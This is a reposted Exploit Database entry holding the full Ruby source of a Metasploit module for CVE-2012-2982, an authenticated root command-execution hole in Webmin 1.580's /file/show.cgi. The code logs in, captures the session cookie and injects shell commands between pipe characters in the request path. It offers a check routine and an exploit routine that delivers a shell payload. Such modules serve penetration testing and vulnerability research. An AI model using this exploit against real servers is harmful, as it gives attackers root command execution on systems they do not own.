Webmin 1.580 – ‘/file/show.cgi’ Remote Command Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2012-10-10
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/21851/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Webmin /file/show.cgi Remote Command Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary command execution vulnerability in Webmin
  				1.580. The vulnerability exists in the /file/show.cgi component and allows an
  				authenticated user, with access to the File Manager Module, to execute arbitrary
  				commands with root privileges. The module has been tested successfully with Webim
  				1.580 over Ubuntu 10.04.
  			},
  			'Author' => [
  				'Unknown', # From American Information Security Group
  				'juan vazquez' # Metasploit module
  			],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					['OSVDB', '85248'],
  					['BID', '55446'],
  					['CVE', '2012-2982'],
  					['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
  					['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 512,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl bash telnet',
  						}
  				},
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Targets'=> [[ 'Webim 1.580', { }]],
  			'DisclosureDate' => 'Sep 06 2012',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					Opt::RPORT(10000),
  					OptBool.new('SSL', [true, 'Use SSL', true]),
  					OptString.new('USERNAME',[true, 'Webmin Username']),
  					OptString.new('PASSWORD',[true, 'Webmin Password'])
  				], self.class)
  	end
  
  	def check
  
  		peer = "#{rhost}:#{rport}"
  
  		print_status("#{peer} - Attempting to login...")
  
  		data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
  
  		res = send_request_cgi(
  			{
  				'method'=> 'POST',
  				'uri' => "/session_login.cgi",
  				'cookie'=> "testing=1",
  				'data'=> data
  			}, 25)
  
  		if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
  			print_good "#{peer} - Authentication successful"
  			session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
  		else
  			print_error "#{peer} - Authentication failed"
  			return Exploit::CheckCode::Unknown
  		end
  
  		print_status("#{peer} - Attempting to execute...")
  
  		command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
  
  		res = send_request_cgi(
  			{
  				'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
  				'cookie'=> "sid=#{session}"
  			}, 25)
  
  
  		if res and res.code == 200 and res.message =~ /Document follows/
  			return Exploit::CheckCode::Appears
  		else
  			return Exploit::CheckCode::Safe
  		end
  
  	end
  
  	def exploit
  
  		peer = "#{rhost}:#{rport}"
  
  		print_status("#{peer} - Attempting to login...")
  
  		data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
  
  		res = send_request_cgi(
  			{
  				'method'=> 'POST',
  				'uri' => "/session_login.cgi",
  				'cookie'=> "testing=1",
  				'data'=> data
  			}, 25)
  
  		if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
  			session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
  			if session and not session.empty?
  				print_good "#{peer} - Authentication successfully"
  			else
  				print_error "#{peer} - Authentication failed"
  				return
  			end
  			print_good "#{peer} - Authentication successfully"
  		else
  			print_error "#{peer} - Authentication failed"
  			return
  		end
  
  		print_status("#{peer} - Attempting to execute the payload...")
  
  		command = payload.encoded
  
  		res = send_request_cgi(
  			{
  				'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
  				'cookie'=> "sid=#{session}"
  			}, 25)
  
  
  		if res and res.code == 200 and res.message =~ /Document follows/
  			print_good "#{peer} - Payload executed successfully"
  		else
  			print_error "#{peer} - Error executing the payload"
  			return
  		end
  
  	end
  
  end